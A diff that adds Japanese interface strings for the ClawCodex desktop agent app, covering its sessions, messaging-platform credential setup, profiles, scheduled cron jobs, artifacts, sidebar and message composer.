+    pinSession: 'セッションをピン留め',
+    unpinSession: 'セッションのピン留めを解除',
+    exportSession: 'セッションをエクスポート',
+    deleteSession: 'セッションを削除',
+    noSessions: 'セッションはまだありません。',
+    gatewayRunning: 'メッセージングゲートウェイが実行中',
+    gatewayStopped: 'メッセージングゲートウェイが停止中',
+    clawcodexActiveSessions: (version, count) => `ClawCodex ${version} · アクティブセッション ${count}`,
+    restartGateway: 'ゲートウェイを再起動',
+    gatewayRestartFailed: 'ゲートウェイの再起動に失敗しました。',
+    updateClawCodex: 'ClawCodex を更新',
+    actionRunning: '実行中',
+    actionDone: '完了',
+    actionFailed: '失敗',
+    actionStartedWaiting: 'アクションが開始されました。ステータスを待機中...',
+    loadingStatus: 'ステータスを読み込み中...',
+    recentLogs: '最近のログ',
+    noLogs: 'ログはまだ読み込まれていません。',
+    days: count => `${count}日`,
+    statSessions: 'セッション',
+    statApiCalls: 'API コール',
+    statTokens: 'トークン入力/出力',
+    statCost: '推定コスト',
+    actualCost: cost => `実際 ${cost}`,
+    loadingUsage: '使用状況を読み込み中...',
+    noUsage: period => `過去 ${period} 日間に使用履歴がありません。`,
+    retry: '再試行',
+    dailyTokens: '日別トークン',
+    input: '入力',
+    output: '出力',
+    noDailyActivity: '日別アクティビティがありません。',
+    topModels: 'よく使うモデル',
+    noModelUsage: 'モデルの使用履歴はまだありません。',
+    topSkills: 'よく使うスキル',
+    noSkillActivity: 'スキルのアクティビティはまだありません。',
+    actions: count => `${count} アクション`
+  },
+
+  messaging: {
+    search: 'メッセージングを検索...',
+    loading: 'メッセージングプラットフォームを読み込み中...',
+    loadFailed: 'メッセージングプラットフォームの読み込みに失敗しました',
+    states: {
+      connected: '接続済み',
+      connecting: '接続中',
+      disabled: '無効',
+      fatal: 'エラー',
+      gateway_stopped: 'メッセージングゲートウェイが停止中',
+      not_configured: '設定が必要',
+      pending_restart: '再起動が必要',
+      retrying: '再試行中',
+      startup_failed: '起動失敗'
+    },
+    unknown: '不明',
+    hintPendingRestart: 'この変更を適用するにはステータスバーからゲートウェイを再起動してください。',
+    hintGatewayStopped: 'ステータスバーからゲートウェイを起動して接続してください。',
+    credentialsSet: '認証情報を設定しました',
+    needsSetup: '設定が必要',
+    gatewayStopped: 'メッセージングゲートウェイが停止中',
+    getCredentials: '認証情報を取得',
+    openSetupGuide: 'セットアップガイドを開く',
+    required: '必須',
+    recommended: '推奨',
+    advanced: count => `詳細設定 (${count})`,
+    noTokenNeeded:
+      'このプラットフォームはここでトークンが必要ありません。上のセットアップガイドを使用してから、以下で有効にしてください。',
+    enabled: '有効',
+    disabled: '無効',
+    unsavedChanges: '未保存の変更',
+    saving: '保存中...',
+    saveChanges: '変更を保存',
+    saved: '保存しました',
+    replaceValue: '現在の値を置き換え',
+    openDocs: 'ドキュメントを開く',
+    clearField: key => `${key} をクリア`,
+    enableAria: name => `${name} を有効にする`,
+    disableAria: name => `${name} を無効にする`,
+    platformEnabled: name => `${name} を有効にしました`,
+    platformDisabled: name => `${name} を無効にしました`,
+    restartToApply: 'この変更はゲートウェイの再起動後に有効になります。',
+    setupSaved: name => `${name} の設定を保存しました`,
+    restartToReconnect: '新しい認証情報はゲートウェイの再起動後に有効になります。',
+    keyCleared: key => `${key} をクリアしました`,
+    setupUpdated: name => `${name} の設定が更新されました。`,
+    failedUpdate: name => `${name} の更新に失敗しました`,
+    failedSave: name => `${name} の保存に失敗しました`,
+    failedClear: key => `${key} のクリアに失敗しました`,
+    fieldCopy: {
+      TELEGRAM_BOT_TOKEN: {
+        label: 'ボットトークン',
+        help: '@BotFather でボットを作成し、表示されたトークンを貼り付けてください。',
+        placeholder: 'Telegram ボットトークンを貼り付け'
+      },
+      TELEGRAM_ALLOWED_USERS: {
+        label: '許可する Telegram ユーザー ID',
+        help: '推奨。@userinfobot の数値 ID をカンマ区切りで。設定しないと誰でもボットに DM できます。'
+      },
+      TELEGRAM_PROXY: { label: 'プロキシ URL', help: 'Telegram がブロックされているネットワークでのみ必要です。' },
+      DISCORD_BOT_TOKEN: {
+        label: 'ボットトークン',
+        help: 'Discord Developer Portal でアプリケーションを作成し、ボットを追加してからトークンを貼り付けてください。'
+      },
+      DISCORD_ALLOWED_USERS: {
+        label: '許可する Discord ユーザー ID',
+        help: '推奨。カンマ区切りの Discord ユーザー ID。'
+      },
+      DISCORD_REPLY_TO_MODE: { label: '返信スタイル', help: 'first、all、または off。' },
+      DISCORD_ALLOW_ALL_USERS: {
+        label: 'すべての Discord ユーザーを許可',
+        help: '開発用のみ。true にすると、許可リストなしで誰でもボットに DM できます。'
+      },
+      DISCORD_HOME_CHANNEL: {
+        label: 'ホームチャンネル ID',
+        help: 'ボットがプロアクティブなメッセージを送信するチャンネル（Cron 出力、リマインダー）。'
+      },
+      DISCORD_HOME_CHANNEL_NAME: {
+        label: 'ホームチャンネル名',
+        help: 'ログやステータス出力でのホームチャンネルの表示名。'
+      },
+      BLUEBUBBLES_ALLOW_ALL_USERS: {
+        label: 'すべての iMessage ユーザーを許可',
+        help: 'true にすると BlueBubbles の許可リストをスキップします。'
+      },
+      MATTERMOST_ALLOW_ALL_USERS: { label: 'すべての Mattermost ユーザーを許可' },
+      MATTERMOST_HOME_CHANNEL: { label: 'ホームチャンネル' },
+      QQ_ALLOW_ALL_USERS: { label: 'すべての QQ ユーザーを許可' },
+      QQBOT_HOME_CHANNEL: { label: 'QQ ホームチャンネル', help: 'Cron 配信のデフォルトチャンネルまたはグループ。' },
+      QQBOT_HOME_CHANNEL_NAME: { label: 'QQ ホームチャンネル名' },
+      SLACK_BOT_TOKEN: {
+        label: 'Slack ボットトークン',
+        help: 'Slack アプリをインストール後、OAuth & Permissions のボットトークンを使用してください。',
+        placeholder: 'Slack ボットトークンを貼り付け'
+      },
+      SLACK_APP_TOKEN: {
+        label: 'Slack アプリトークン',
+        help: 'Socket Mode に必要なアプリレベルのトークンを使用してください。',
+        placeholder: 'Slack アプリトークンを貼り付け'
+      },
+      SLACK_ALLOWED_USERS: {
+        label: '許可する Slack ユーザー ID',
+        help: '推奨。カンマ区切りの Slack ユーザー ID。'
+      },
+      MATTERMOST_URL: { label: 'サーバー URL', placeholder: 'https://mattermost.example.com' },
+      MATTERMOST_TOKEN: { label: 'ボットトークン' },
+      MATTERMOST_ALLOWED_USERS: {
+        label: '許可するユーザー ID',
+        help: '推奨。カンマ区切りの Mattermost ユーザー ID。'
+      },
+      MATRIX_HOMESERVER: { label: 'ホームサーバー URL', placeholder: 'https://matrix.org' },
+      MATRIX_ACCESS_TOKEN: { label: 'アクセストークン' },
+      MATRIX_USER_ID: { label: 'ボットユーザー ID', placeholder: '@clawcodex:example.org' },
+      MATRIX_ALLOWED_USERS: {
+        label: '許可する Matrix ユーザー ID',
+        help: '推奨。@user:server 形式のカンマ区切りユーザー ID。'
+      },
+      SIGNAL_HTTP_URL: {
+        label: 'Signal ブリッジ URL',
+        placeholder: 'http://127.0.0.1:8080',
+        help: '実行中の signal-cli REST ブリッジの URL。'
+      },
+      SIGNAL_ACCOUNT: { label: '電話番号', help: 'signal-cli ブリッジに登録した番号。' },
+      SIGNAL_ALLOWED_USERS: {
+        label: '許可する Signal ユーザー',
+        help: '推奨。カンマ区切りの Signal 識別子。'
+      },
+      WHATSAPP_ENABLED: {
+        label: 'WhatsApp ブリッジを有効にする',
+        help: '以下のトグルで自動的に設定されます。必要な場合を除いてそのままにしてください。'
+      },
+      WHATSAPP_MODE: { label: 'ブリッジモード' },
+      WHATSAPP_ALLOWED_USERS: {
+        label: '許可する WhatsApp ユーザー',
+        help: '推奨。カンマ区切りの電話番号または WhatsApp ID。'
+      }
+    },
+    platformIntro: {}
+  },
+
+  profiles: {
+    close: 'プロファイルを閉じる',
+    nameHint: '小文字、数字、ハイフン、アンダースコア。文字または数字で始める必要があります。',
+    title: 'プロファイル',
+    count: count => `${count} プロファイル`,
+    search: 'プロファイルを検索...',
+    loading: 'プロファイルを読み込み中...',
+    newProfile: '新しいプロファイル',
+    importProfile: 'プロファイルをインポート…',
+    exportProfile: 'プロファイルをエクスポート…',
+    imported: 'プロファイルをインポートしました',
+    exported: 'プロファイルをエクスポートしました',
+    failedImport: 'プロファイルのインポートに失敗しました',
+    failedExport: 'プロファイルのエクスポートに失敗しました',
+    allProfiles: 'すべてのプロファイル',
+    showAllProfiles: 'すべてのプロファイルを表示',
+    switchToProfile: name => `${name} に切り替え`,
+    manageProfiles: 'プロファイルを管理…',
+    actions: 'アクション',
+
+    color: 'カラー…',
+    colorFor: 'カラー',
+    setColor: color => `カラー ${color} に設定`,
+    autoColor: '自動',
+    noProfiles: 'プロファイルが見つかりません。',
+    selectPrompt: '詳細を表示するにはプロファイルを選択してください。',
+    refresh: 'プロファイルを更新',
+    refreshing: 'プロファイルを更新中',
+    default: 'デフォルト',
+    skills: count => `${count} スキル`,
+    env: 'env',
+    defaultBadge: 'デフォルト',
+    rename: '名前を変更',
+    renameMenu: '名前を変更…',
+    editSoul: 'SOUL.md を編集…',
+    copySetup: 'セットアップをコピー',
+    copying: 'コピー中...',
+    modelLabel: 'モデル',
+    skillsLabel: 'スキル',
+    notSet: '未設定',
+    soulDesc: 'このプロファイルに組み込まれたシステムプロンプトとペルソナの指示。',
+    soulOptional: '省略可能',
+    soulPlaceholder: mode =>
+      `このプロファイルのシステムプロンプト / ペルソナ。\n空欄のままにすると ${mode} のデフォルトを使用します。`,
+    soulPlaceholderCloned: 'クローン済み',
+    soulPlaceholderEmpty: '空',
+    unsavedChanges: '未保存の変更',
+    loadingSoul: 'SOUL.md を読み込み中...',
+    emptySoul: '空の SOUL.md — ペルソナの記述を始めてください...',
+    saving: '保存中...',
+    saveSoul: 'SOUL を保存',
+    deleteTitle: 'プロファイルを削除しますか？',
+    deleteDescPrefix: 'これにより ',
+    deleteDescMid: ' が削除され、その ',
+    deleteDescSuffix: ' ディレクトリが削除されます。この操作は元に戻せません。',
+    deleting: '削除中...',
+    createDesc: 'プロファイルは独立した ClawCodex 環境です：設定、スキル、SOUL.md が別々になります。',
+    nameLabel: '名前',
+    cloneFrom: '複製元',
+    cloneFromNone: 'なし（空）',
+    cloneFromDesc: '選択したプロファイルから設定、スキル、SOUL.md をコピーします。',
+    cloneFromDefault: 'デフォルトプロファイルから設定を複製',
+    cloneFromDefaultDesc: 'デフォルトプロファイルから設定、スキル、SOUL.md をコピーします。',
+    invalidName: hint => `無効なプロファイル名。${hint}`,
+    nameRequired: '名前は必須です',
+    creating: '作成中...',
+    createAction: 'プロファイルを作成',
+    renameTitle: 'プロファイルの名前を変更',
+    renameDescPrefix: '名前を変更するとプロファイルディレクトリと ',
+    renameDescSuffix: ' 内のラッパースクリプトが更新されます。',
+    newNameLabel: '新しい名前',
+    renaming: '名前を変更中...',
+    created: '作成しました',
+    renamed: '名前を変更しました',
+    deleted: '削除しました',
+    setupCopied: 'セットアップコマンドをコピーしました',
+    soulSaved: 'SOUL.md を保存しました',
+    failedLoad: 'プロファイルの読み込みに失敗しました',
+    failedDelete: 'プロファイルの削除に失敗しました',
+    failedCopy: 'セットアップコマンドのコピーに失敗しました',
+    failedLoadSoul: 'SOUL.md の読み込みに失敗しました',
+    failedSaveSoul: 'SOUL.md の保存に失敗しました',
+    failedCreate: 'プロファイルの作成に失敗しました',
+    failedRename: 'プロファイルの名前変更に失敗しました'
+  },
+
+  cron: {
+    close: 'Cron を閉じる',
+    title: 'スケジュール済みジョブ',
+    count: count => `${count} 件のジョブ`,
+    search: 'Cron ジョブを検索...',
+    loading: 'Cron ジョブを読み込み中...',
+    states: {
+      enabled: '有効',
+      scheduled: 'スケジュール済み',
+      running: '実行中',
+      paused: '一時停止中',
+      disabled: '無効',
+      error: 'エラー',
+      completed: '完了'
+    },
+    deliveryLabels: {
+      local: 'このデスクトップ',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: 'メール'
+    },
+    scheduleLabels: {
+      daily: '毎日',
+      weekdays: '平日',
+      weekly: '毎週',
+      monthly: '毎月',
+      hourly: '毎時',
+      'every-15-minutes': '15 分ごと',
+      custom: 'カスタム'
+    },
+    scheduleHints: {
+      daily: '毎日午前 9:00',
+      weekdays: '月曜日から金曜日の午前 9:00',
+      weekly: '毎週月曜日午前 9:00',
+      monthly: '毎月 1 日午前 9:00',
+      hourly: '毎時 0 分',
+      'every-15-minutes': '15 分ごと',
+      custom: 'Cron 構文または自然言語'
+    },
+    days: {
+      '0': '日曜日',
+      '1': '月曜日',
+      '2': '火曜日',
+      '3': '水曜日',
+      '4': '木曜日',
+      '5': '金曜日',
+      '6': '土曜日',
+      '7': '日曜日'
+    },
+    dayFallback: value => `${value}日`,
+    everyDayAt: time => `毎日 ${time} に`,
+    weekdaysAt: time => `平日 ${time} に`,
+    everyDayOfWeekAt: (day, time) => `毎週 ${day} ${time} に`,
+    monthlyOnDayAt: (dayOfMonth, time) => `毎月 ${dayOfMonth} 日 ${time} に`,
+    topOfHour: '毎時 0 分',
+    everyHourAt: minute => `毎時 :${minute} に`,
+    newCron: '新しい Cron',
+    emptyDescNew:
+      'Cron 式でプロンプトを実行するスケジュールを設定します。ClawCodex が実行して、選択した宛先に結果を送信します。',
+    emptyDescSearch: '検索キーワードを広げてください。',
+    emptyTitleNew: 'スケジュールされたジョブがまだありません',
+    emptyTitleSearch: '一致なし',
+    last: '前回',
+    next: '次回',
+    noRuns: 'まだ実行されていません',
+    manage: '管理',
+    showRuns: '実行履歴を表示',
+    hideRuns: '実行履歴を隠す',
+    runHistory: '実行履歴',
+
+    actionsTitle: 'Cron ジョブのアクション',
+    resume: '再開',
+    pause: '一時停止',
+    resumeTitle: '再開',
+    pauseTitle: '一時停止',
+    triggerNow: '今すぐ実行',
+    edit: 'Cron を編集',
+    deleteTitle: 'Cron ジョブを削除しますか？',
+    deleteDescPrefix: 'これにより ',
+    deleteDescSuffix: ' が完全に削除され、即座に実行が停止されます。',
+    deleting: '削除中...',
+    resumed: 'Cron を再開しました',
+    paused: 'Cron を一時停止しました',
+    triggered: 'Cron をトリガーしました',
+    deleted: 'Cron を削除しました',
+    created: 'Cron を作成しました',
+    updated: 'Cron を更新しました',
+    failedLoad: 'Cron ジョブの読み込みに失敗しました',
+    failedUpdate: 'Cron ジョブの更新に失敗しました',
+    failedTrigger: 'Cron ジョブのトリガーに失敗しました',
+    failedDelete: 'Cron ジョブの削除に失敗しました',
+    failedSave: 'Cron ジョブの保存に失敗しました',
+    editTitle: 'Cron ジョブを編集',
+    createTitle: '新しい Cron ジョブ',
+    editDesc: 'スケジュール、プロンプト、または配信先を更新します。変更は次回の実行時に適用されます。',
+    createDesc:
+      'プロンプトを自動実行するスケジュールを設定します。Cron 構文または「15 分ごと」などのフレーズを使用します。',
+    nameLabel: '名前',
+    namePlaceholder: '例: 日次サマリー',
+    promptLabel: 'プロンプト',
+    promptPlaceholder: '実行ごとにエージェントが行う内容は？',
+    frequencyLabel: '頻度',
+    deliverLabel: '配信先',
+    deliverNeedsHomeChannel: '先にホームチャンネルを設定してください',
+    modelLabel: 'モデル',
+    modelDefault: 'デフォルト（グローバルモデル）',
+    customScheduleLabel: 'カスタムスケジュール',
+    customPlaceholder: '0 9 * * * または weekdays at 9am',
+    customHint: 'Cron 式、または「every hour」「weekdays at 9am」のようなフレーズ。',
+    optional: '省略可能',
+    promptRequired: 'プロンプトは必須です。',
+    promptScheduleRequired: 'プロンプトとスケジュールは必須です。',
+    scheduleRequired: 'スケジュールは必須です。',
+    scriptOnlyEditHint: 'スクリプトのみのジョブ（AI プロンプトなし）。ジョブ ID:',
+    saveChanges: '変更を保存',
+    createAction: 'Cron を作成',
+    tabs: {
+      jobs: 'ジョブ',
+      blueprints: 'ブレーンプリント'
+    },
+    blueprints: {
+      tab: 'ブレーンプリント',
+      startFrom: '開始点',
+      custom: 'カスタム',
+      subtitle: 'すぐに使える自動化',
+      dialogDesc: '詳細を入力してスケジュールします。',
+      scheduleIt: 'スケジュールする',
+      scheduling: 'スケジュール中...',
+      scheduled: 'ブレーンプリントをスケジュールしました',
+      loading: 'ブレーンプリントを読み込み中...',
+      failedLoad: 'ブレーンプリントの読み込みに失敗しました',
+      emptyTitle: '利用できるブレーンプリントはありません',
+      emptyDesc: 'このバックエンドで利用できる自動化ブレーンプリントはありません。'
+    }
+  },
+
+  artifacts: {
+    search: 'アーティファクトを検索...',
+    refresh: 'アーティファクトを更新',
+    refreshing: 'アーティファクトを更新中',
+    indexing: '最近のセッションのアーティファクトをインデックス中',
+    tabAll: 'すべて',
+    tabImages: '画像',
+    tabFiles: 'ファイル',
+    tabLinks: 'リンク',
+    noArtifactsTitle: 'アーティファクトが見つかりません',
+    noArtifactsDesc: 'セッションで生成された画像やファイルの出力がここに表示されます。',
+    failedLoad: 'アーティファクトの読み込みに失敗しました',
+    openFailed: '開くことができませんでした',
+    itemsImage: '画像',
+    itemsLink: 'リンク',
+    itemsFile: 'ファイル',
+    itemsGeneric: '項目',
+    zero: '0',
+    rangeOf: (start, end, total) => `${total} 件中 ${start}-${end}`,
+    goToPage: (itemLabel, page) => `${itemLabel} ページ ${page} に移動`,
+    colTitleLink: 'リンクタイトル',
+    colTitleFile: '名前',
+    colTitleDefault: 'タイトル / 名前',
+    colLocationLink: 'URL',
+    colLocationFile: 'パス',
+    colLocationDefault: '場所',
+    colSession: 'セッション',
+    kindImage: '画像',
+    kindFile: 'ファイル',
+    kindLink: 'リンク',
+    chat: 'チャット',
+    copyUrl: 'URL をコピー',
+    copyPath: 'パスをコピー'
+  },
+
+  artifactCard: {
+    kind: { code: 'コード', html: 'インタラクティブページ', svg: 'グラフィック' },
+    generating: lines => `生成中… ${lines} 行`,
+    versionBadge: count => `${count} 個のバージョン`,
+    open: '開く'
+  },
+
+  artifactPreview: {
+    versionOf: (current, total) => `${total} 中 v${current}`,
+    olderVersion: '前のバージョン',
+    newerVersion: '次のバージョン',
+    latest: '最新',
+    copyContent: 'コンテンツをコピー',
+    download: 'ダウンロード',
+    openInBrowser: 'ブラウザで開く',
+    openInBrowserFailed: 'ブラウザで開けませんでした',
+    missingTitle: 'アーティファクトを利用できません',
+    missingBody: 'このアーティファクトはローカルレジストリに存在しません。'
+  },
+
+  sidebar: {
+    nav: {
+      'new-session': '新しいセッション',
+      skills: 'スキルとツール',
+      messaging: 'メッセージング',
+      artifacts: 'アーティファクト'
+    },
+    searchAria: 'セッションを検索',
+    searchPlaceholder: 'セッションを検索…',
+    clearSearch: '検索をクリア',
+    noMatch: query => `"${query}" に一致するセッションがありません。`,
+    results: '結果',
+    pinned: 'ピン留め',
+    sessions: 'セッション',
+    cronJobs: 'Cronジョブ',
+    groupAriaGrouped: 'セッションを単一リストとして表示',
+    groupAriaUngrouped: 'ワークスペースごとにセッションをグループ化',
+    showProjects: 'プロジェクトを表示',
+    showSessions: 'セッションを表示',
+    groupTitleGrouped: 'セッションのグループ化を解除',
+    groupTitleUngrouped: 'ワークスペースでグループ化',
+    allPinned: 'ここにあるものはすべてピン留めされています。チャットのピン留めを解除すると最近のものに表示されます。',
+    shiftClickHint: 'Shift クリックでピン留め · ドラッグで並べ替え',
+    noWorkspace: 'ワークスペースなし',
+    projectEmpty: 'セッションはまだありません',
+    noSessions: 'セッションはまだありません',
+    projects: {
+      sectionLabel: 'プロジェクト',
+      home: 'ホーム',
+      newButton: '新規プロジェクト',
+      createTitle: '新規プロジェクト',
+      createDesc: 'ワークスペースに名前を付け、1つ以上のフォルダを追加します。',
+      renameTitle: 'プロジェクト名を変更',
+      addFolderTitle: 'フォルダを追加',
+      namePlaceholder: '例: Skunkworks',
+      foldersLabel: 'フォルダ',
+      ideaLabel: 'アイデア',
+      ideaPlaceholder: 'このプロジェクトは何ですか？（IDEA.md に保存）',
+      ideaGenerate: 'アイデアを生成',
+      ideaGenerating: '生成中…',
+      ideaShuffle: 'テンプレートをシャッフル',
+      noFolders: 'まだフォルダがありません。',
+      addFolder: 'フォルダを追加',
+      primaryBadge: 'メイン',
+      removeFolder: '削除',
+      create: '作成',
+      menu: 'アクション',
+      menuRename: '名前を変更',
+      menuAppearance: '外観',
+      noColor: '色なし',
+      menuAddFolder: 'フォルダを追加',
+      menuSetActive: 'アクティブに設定',
+      menuDelete: '削除',
+      reveal: 'フォルダで表示',
+      copyPath: 'パスをコピー',
+      removeFromSidebar: 'サイドバーから削除',
+      createFailed: 'プロジェクトを作成できませんでした',
+      staleBackend:
+        'プロジェクトを作成するには ClawCodex バックエンドを更新してください。バックエンドがこのデスクトップアプリより古いです（設定 → 更新 → バックエンド）。',
+      deleteConfirm:
+        'ClawCodex から保存済みプロジェクトを削除します。ファイル・git リポジトリ・ワークツリーはそのまま残ります。',
+      startWork: '新しいワークツリー',
+      newWorktreeTitle: '新しいワークツリー',
+      newWorktreeDesc: 'このワークツリーのブランチ名を入力してください。',
+      branchPlaceholder: '例: my-feature',
+      branchOff: () => ({ after: ' から分岐', before: '' }),
+      baseBranchPlaceholder: 'ブランチを検索…',
+      baseBranchNone: 'ブランチが見つかりません',
+      startWorkFailed: 'ワークツリーを作成できませんでした',
+      worktreeProjectLabel: 'プロジェクト',
+      worktreeProjectPlaceholder: 'プロジェクトを検索…',
+      worktreeProjectNone: 'フォルダのあるプロジェクトがありません',
+      convertBranch: 'ブランチを変換…',
+      convertBranchTitle: 'ブランチを変換',
+      convertBranchDesc: 'チェックアウト済みのブランチを開くか、空いているブランチのワークツリーを作成します。',
+      convertBranchPlaceholder: 'ブランチを検索…',
+      convertBranchInstead: '既存のブランチを変換',
+      branchOpenExisting: '開く',
+      branchSwitchHome: 'ホームを切替',
+      branchCreateWorktree: '新しいワークツリー',
+      branchTrackRemote: 'リモートを追跡',
+      branchesLoading: 'ブランチを読み込み中…',
+      noBranches: 'ブランチが見つかりません',
+      removeWorktree: 'ワークツリーを削除',
+      removeWorktreeFailed: 'ワークツリーを削除できませんでした（コミットされていない変更？）',
+      removeWorktreeConfirm:
+        'git から削除（ワークツリーのディレクトリを削除しますが、ブランチは残ります）するか、サイドバーからレーンを隠してワークツリーをディスク上に残します。',
+      removeWorktreeDirty:
+        'このワークツリーにはコミットされていない変更があります。強制削除（変更を破棄）するか、レーンを隠してディスク上に残します。',
+      forceRemove: '強制削除',
+      enter: label => `${label} を開く`
+    },
+    newSessionIn: label => `${label} で新しいセッション`,
+    showMoreIn: (count, label) => `${label} でさらに ${count} 件を表示`,
+    loading: '読み込み中…',
+    loadMore: 'さらに読み込む',
+    loadCount: step => `さらに ${step} 件を読み込む`,
+    row: {
+      pin: 'ピン留め',
+      unpin: 'ピン留めを解除',
+      copyId: 'ID をコピー',
+      export: 'エクスポート',
+      branchFrom: '分岐',
+      rename: '名前を変更',
+      archive: 'アーカイブ',
+      newWindow: '新しいウィンドウ',
+      copyIdFailed: 'セッション ID をコピーできませんでした',
+
+      sessionActions: 'セッションアクション',
+      sessionRunning: 'セッション実行中',
+      needsInput: '入力が必要です',
+      waitingForAnswer: '回答を待っています',
+      finishedUnread: '完了 — 未読',
+      backgroundRunning: 'バックグラウンドタスク実行中',
+      handoffOrigin: platform => `${platform} から引き継ぎ`,
+      ownedByProfile: profile => `プロファイル: ${profile}`,
+      renamed: '名前を変更しました',
+      renameFailed: '名前の変更に失敗しました',
+      renameTitle: 'セッションの名前を変更',
+      renameDesc: '空欄にするとクリアされます。',
+      untitledPlaceholder: '無題のセッション',
+      untitledChat: id => `セッション ${id}`,
+      ageNow: 'たった今',
+      ageDay: '日',
+      ageHour: '時間',
+      ageMin: '分'
+    },
+    dateDivider: {
+      today: '今日の早い時間',
+      yesterday: '昨日',
+      thisWeek: '今週',
+      lastWeek: '先週',
+      thisMonth: '今月'
+    }
+  },
+
+  composer: {
+    message: 'メッセージ',
+    wakingProfile: profile => `${profile} を起動中…`,
+    placeholderStarting: 'ClawCodex を起動中...',
+    placeholderReconnecting: 'ClawCodex に再接続中…',
+    placeholderFollowUp: 'フォローアップを送信',
+    newSessionPlaceholders: [
+      '何を作りますか？',
+      'ClawCodex にタスクを与える',
+      '何か考えていることはありますか？',
+      '必要なことを説明してください',
+      '何に取り組みますか？',
+      '何でも聞いてください',
+      '目標から始める'
+    ],
+    followUpPlaceholders: [
+      'フォローアップを送信',
+      'さらにコンテキストを追加',
+      'リクエストを改善',
+      '次は何ですか？',
+      '続けましょう',
+      'さらに進める',
+      '調整または続行'
+    ],
+    startVoice: '音声会話を開始',
+    openDirective: '開く',
+    queueMessage: 'メッセージをキューに入れる',
+    stop: '停止',
+    send: '送信',
+    speaking: '話しています',
+    transcribing: '文字起こし中',
+    thinking: '考え中',
+    muted: 'ミュート',
+    listening: '聴いています',
+    muteMic: 'マイクをミュート',
+    unmuteMic: 'マイクのミュートを解除',
+    stopListening: '聴き取りを停止して送信',
+    stopShort: '停止',
+    endConversation: '音声会話を終了',
+    endShort: '終了',
+    stopDictation: '口述を停止',
+    transcribingDictation: '口述を文字起こし中',
+    voiceDictation: '音声口述',
+    speakReplies: '返信を読み上げる',
+    stopSpeakingReplies: '返信の読み上げを停止',
+    wakeWordListening: phrase => `ウェイクワード:「${phrase}」— 待機中`,
+    wakeWordOff: phrase => `ウェイクワード:「${phrase}」— オフ`,
+    wakeWordPausedVoice: phrase => `ウェイクワード:「${phrase}」— 音声チャット中は一時停止`,
+    lookupLoading: '検索中…',
+    lookupNoMatches: '一致なし。',
+    lookupTry: '試す',
+    lookupOr: 'または',
+    commonCommands: '一般的なコマンド',
+    hotkeys: 'ホットキー',
+    helpFooter: 'フルパネルを開く · Backspace で閉じる',
+    commandDescs: {
+      '/help': 'コマンドとホットキーの全リスト',
+      '/clear': '新しいセッションを開始',
+      '/resume': '以前のセッションを再開',
+      '/details': 'トランスクリプトの詳細レベルを制御',
+      '/copy': '選択または最後のアシスタントメッセージをコピー',
+      '/quit': 'clawcodex を終了'
+    },
+    hotkeyDescs: {
+      'composer.mention': 'ファイル、フォルダー、URL、Git を参照',
+      'composer.slash': 'スラッシュコマンドパレット',
+      'composer.help': 'クイックヘルプ（削除で閉じる）',
+      'composer.sendNewline': '送信 · 改行は Shift+Enter',
+      'composer.sendQueued': '次のキュー済みターンを送信',
+      'keybinds.openPanel': 'すべてのキーボードショートカット',
+      'composer.cancel': 'ポップオーバーを閉じる · 実行をキャンセル',
+      'composer.history': 'ポップオーバー / 履歴を切り替え'
+    },
+    attachUrlTitle: 'URL を添付',
+    attachUrlDesc: 'ClawCodex がページを取得し、このターンのコンテキストとして含めます。',
+    urlPlaceholder: 'https://example.com/post',
+    urlHintPre: '完全な URL を入力してください。例: ',
+    attach: '添付',
+    queued: count => `${count} 件キュー済み`,
+    queuedPaused: count => `${count} 件キュー済み — 一時停止中`,
+    attachmentOnly: '添付のみのターン',
+    emptyTurn: '空のターン',
+    attachments: count => `${count} 件の添付`,
+    editingInComposer: 'コンポーザーで編集中',
+    editingQueuedInComposer: 'コンポーザーでキュー済みターンを編集中',
+    queueEdit: '編集',
+    queueSendNext: '次に送信',
+    queueSend: '送信',
+    queueDelete: '削除',
+    queueResume: '再開',
+    queueResumeTip: '停止により一時停止中 — キュー済みターンの送信を再開します',
+    queueStuckTitle: 'キュー内のメッセージを送信できません',
+    queueStuckBody:
+      'キューに入れたターンの送信が繰り返し失敗しました。まだキューに残っています。もう一度送信してください。',
+    previewUnavailable: 'プレビューは利用できません',
+    previewLabel: label => `${label} のプレビュー`,
+    couldNotPreview: label => `${label} をプレビューできませんでした`,
+    removeAttachment: label => `${label} を削除`,
+    dictating: '口述中',
+    preparingAudio: '音声を準備中',
+    speakingResponse: '応答を読み上げ中',
+    readingAloud: '読み上げ中',
+    themeSuggestions: 'デスクトップテーマの候補',
+    noMatchingThemes: '一致するテーマがありません。',
+    themeTryPre: '試してみる: ',
+    themeTryPost: '。',
+    attachLabel: '添付',
+    files: 'ファイル…',
+    folder: 'フォルダー…',
+    images: '画像…',
+    pasteImage: '画像を貼り付け',
+    url: 'URL…',
+    promptSnippets: 'プロンプトスニペット…',
+    tipPre: 'ヒント: ',
+    tipPost: ' と入力してファイルをインラインで参照。',
+    snippetsTitle: 'プロンプトスニペット',
+    snippetsDesc: 'スターターのプロンプトをコンポーザーに挿入します。',
+    dropFiles: 'ファイルをドロップして添付',
+    dropSession: 'ドロップしてこのチャットをリンク',
+    snippets: {
+      codeReview: {
+        label: 'コードレビュー',
+        description: '回帰、エッジケースの欠落、テストの欠如を確認します。',
+        text: 'バグ、回帰、テストの欠如を確認してください。'
+      },
+      implementationPlan: {
+        label: '実装計画',
+        description: 'コードに手をつける前にアプローチを概説して、差分を集中させます。',
+        text: 'コードを変更する前に簡潔な実装計画を立ててください。'
+      },
+      explainThis: {
+        label: 'これを説明する',
+        description: '選択したコードがどのように機能するかを説明し、主要なファイルにリンクします。',
+        text: 'これがどのように機能するか説明し、主要なファイルを教えてください。'
+      }
+    }
+  },
+
+  statusStack: {
+    agents: 'エージェント',
+    background: count => `バックグラウンド ${count} 件`,
+    goalActive: '目標進行中',
+    goalDone: '目標達成',
+    goalPaused: '目標一時停止中',
+    goalWaiting: '目標待機中',
+    subagents: count => `サブエージェント ${count} 件`,
+    todos: (done, total) => `タスク ${done}/${total}`,
+    running: '実行中',
+    stop: '停止',
+    dismiss: '閉じる',
+    exit: code => `終了コード ${code}`,
+    coding: {
+      title: 'ワークツリー',
+      noBranch: 'ブランチなし',
+      detached: 'デタッチ',
+      clean: 'クリーン',
+      changed: count => `${count} 件変更`,
+      ahead: count => `${count} 先行`,
+      behind: count => `${count} 遅延`,
+      review: 'レビュー',
+      close: '閉じる',
+      openChanges: '変更を開く',
+      openFile: 'ファイルを開く',
+      stage: 'ステージ',
+      unstage: 'ステージ解除',
+      stageAll: 'すべてステージ',
